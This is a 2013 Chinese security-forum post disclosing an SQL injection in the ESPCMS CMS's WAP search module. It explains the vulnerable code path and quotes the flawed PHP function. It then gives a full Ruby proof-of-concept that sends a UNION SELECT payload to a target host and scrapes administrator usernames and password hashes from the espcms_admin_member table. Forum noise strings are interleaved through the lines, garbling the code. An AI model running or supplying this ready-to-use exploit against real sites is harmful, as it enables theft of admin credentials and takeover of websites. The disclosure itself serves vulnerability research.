找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2122|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节* B: d$ Q$ N5 j* [$ h& m; ]
0×2 PoC4 F6 N0 j7 F# |# B" Y

5 ?8 H" a# V; c0 y* e
; y. s2 a7 m4 W) _5 i" U# N* D6 q
6 m7 c8 k- ?4 p9 t0×0 漏洞概述/ O4 q. X4 Y# G# _

* ?" v8 Y9 J: x1 p& q' y易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。1 A3 P, t. R( q! X
其在处理传入的参数时考虑不严谨导致SQL注入发生
# r/ r% g4 \# t8 a2 E: C1 I
& o" W" ?0 L, B/ L, |, S, _4 y0 W$ M$ F% V* z+ h5 D
0×1 漏洞细节
8 U6 b. |/ W: N& Z+ @
( g3 J7 g) E& b1 g7 l; L变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
) t: y' y7 r; d正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。: i) z7 B% ~5 R2 N5 m
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入
7 x* f$ R. b5 q  K5 a2 h2 l
" N1 u5 k" A  S* J在/interface/3gwap_search.php文件的in_result函数中:
/ ^" b! X# P# Q6 P2 D& q; _: t
8 m; t8 N* o3 ]
0 s/ @- g, b: `+ J; R' c
8 U: E9 H0 H0 Y; A5 g* [5 c" j+ i       function in_result() {- w4 J. m! u6 }$ \. d' D
            ... ... ... ... ... ... ... ... ...
5 W6 U- ~" T8 d5 Q- n5 E            $urlcode = $_SERVER[ 'QUERY_STRING '];
# Q; P0 D& H. z$ m+ d! v            parse_str(html_entity_decode($urlcode), $output);
7 p' _; V  {! h1 K
: _3 u+ o, F! E, ~& `            ... ... ... ... ... ... ... ... ...
# Q7 a) ]' s  G& N+ T8 Y0 |            if (is_array($output['attr' ]) && count($output['attr']) > 0) {
5 A7 I1 u7 |9 K; w2 x. Y
; d7 G+ [6 @5 q/ O                  $db_table = db_prefix . 'model_att';
2 a  ]% e, ]- y! `0 j
4 N, J: s- U% i/ T. T/ n) b  R+ S                   foreach ($output['attr' ] as $key => $value) {
% l# Y6 n+ b' k0 D                         if ($value) {. o5 W& N6 Q# ~# [% a) @( a+ d
4 V9 ]) F( {! s+ W0 [
                              $key = addslashes($key);% v3 E# m5 v9 o2 s; I: u& w: e
                              $key = $this-> fun->inputcodetrim($key);
% d6 o# _5 ^# v( h; B                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";
9 D9 g1 B- j! F( a* k. k; V                              $countnum = $this->db_numrows($db_table, $db_att_where);7 b" ]9 Y  a4 I, C3 @5 y5 x
                               if ($countnum > 0) {
: F; |; |/ X6 l# R1 Y                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
; U. C& n8 x9 L: o$ W                              }
  V% V  b2 e3 T0 p1 A' i                        }
% v: M: v+ a9 r6 B                  }; _/ T2 v  ?, N
            }
8 z6 h  I! |% ?; J8 t            if (!empty ($keyword) && empty($keyname)) {
; d4 Q- v+ E6 V' J8 C" D% _                  $keyname = 'title';- t' D- r9 d0 v' N8 t2 O9 Y. a
                  $db_where.= " AND a.title like '%$keyword%'" ;) F! }+ K" o4 Q; E
            } elseif (!empty ($keyword) && !empty($keyname)) {/ T5 {& t  q9 d5 O1 ~- u- ?$ `
                  $db_where.= " AND $keyname like '% $keyword%'";! W$ A2 ^* O4 u* `, o& d: H
            }
- y$ F4 q0 b0 b) q6 u2 Q. |            $pagemax = 15;3 N8 k- i( d' i! x
: l' D; b3 U  \6 O
            $pagesylte = 1;
2 j. n. D; }( U+ ^  Y3 M% b2 g8 s  _: @- k* ?7 G
             if ($countnum > 0) {
' Y9 B& R9 G9 c! h
" O* L4 c) Y7 e( U6 Y                  $numpage = ceil($countnum / $pagemax);
% h. I* z  r+ ]' d            } else {4 i- r* e# @+ W, e7 @, @: y
                  $numpage = 1;7 y8 U+ z3 J/ V
            }2 p) X! Y6 K* M9 I8 Z
            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
* a$ D; H: u4 i# ]9 M9 C            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);* C8 U; ^/ G! g0 ~9 ~
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);) ?# h5 o* l6 h1 z; V, ?3 O
            ... ... ... ... ... ... ... ... ...
; \$ b$ ?# K8 X* T      }1 D0 o# {$ n  G+ O* L5 s2 W

7 B2 B( s) y( t$ ]2 Y. _9 F+ n! m
7 d& G1 A# ^  r: |0×2 PoC
: d& K% |, N9 z* a: l% z& w$ U) B# I) X# t- b0 h4 b

; t, T! C+ N- P) ]
* [$ }: J8 Q1 r+ ]1 G- ^% `require "net/http"
" O/ c) `% I" @' J3 f* W+ j  {+ d
  r4 K; Q: \4 b$ A, p( D2 o6 edef request(method, url)
4 U! T! p2 ?" `& f    if method.eql?("get")
. F* n; c% w' M, z# R        uri = URI.parse(url)
8 Z& j* I. u* t8 \        http = Net::HTTP.new(uri.host, uri.port)  N  T/ ~: @+ U% M5 s" ]8 i& D9 Z
        response = http.request(Net::HTTP::Get.new(uri.request_uri))$ ]7 G4 v. V- W; S6 `7 r3 O+ V5 E
        return response
- @& f& c# l. u: O8 J    end3 r! [2 z& a& [5 @, o
end
: }" e. W, c' F. B& Y$ g& M" n0 P
/ B$ g% l" ?. j: W4 o0 hdoc =<<HERE7 b& R; C! i" C1 l
-------------------------------------------------------8 O8 d( I$ Z! M* t' W
Espcms Injection Exploit1 l" f' m3 g4 p" Z3 Y, N6 t
Author:ztz1 q+ [  B0 N' u. v+ w; v
Blog:http://ztz.fuzzexp.org/1 Z# w, W  M. x, G7 h, S0 _
-------------------------------------------------------+ G/ p+ U0 H( R6 ~; T# Z+ Z
% H$ O( W& z) k" U
HERE. P3 h" \" q/ Y
1 c- r( d! c6 k- E2 ~9 g; F
usage =<<HERE
* w$ P" x0 N& u: Y' \7 \Usage:         ruby #{$0} host port path0 V/ R. g0 S& ]5 u
example:     ruby #{$0} www.target.com 80 // i5 y' I; {. I* I8 B
HERE
% h7 p( Q, m3 i
! E  k6 \: s3 S. sputs doc
; O3 Q9 U  \- r, s1 P$ k5 s/ wif ARGV.length < 37 s5 ?  c  t' ^' {8 g+ f
    puts usage
! k& ~" Z) b7 ^& c. D  qelse
! \2 R0 J( C$ J# \    $host = ARGV[0]+ ^7 R9 x+ A3 Y- I) g4 C) ?( p
    $port = ARGV[1]5 |$ u' ~  S4 e! x
    $path = ARGV[2]9 c" T0 {1 v( g& w0 |% H0 \

+ S) T. Z. s; B. p" c0 Y- \    puts "
  • send request..."4 T$ s3 \, `( d% [) w
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
    ) p8 C) A$ Z% {, L7 `. B- Lattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,137 t1 r9 s2 p+ H3 i$ c( \" W
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27
    , `# y9 h! ~, V,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"' Z3 K" {! d2 S3 }& T" U4 z6 I
        response = request("get", url)
    0 K+ h2 O1 X/ f    result = response.body.scan(/\w+&\w{32}/)
    # {% g1 M+ @/ ^) E' q5 M3 I8 z* _    puts result
    & N8 A# u* ~+ K( }/ xend
    2 I) z$ @. ]6 p' r' ~4 u$ L5 ~3 G7 }8 P$ ]- M. R
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表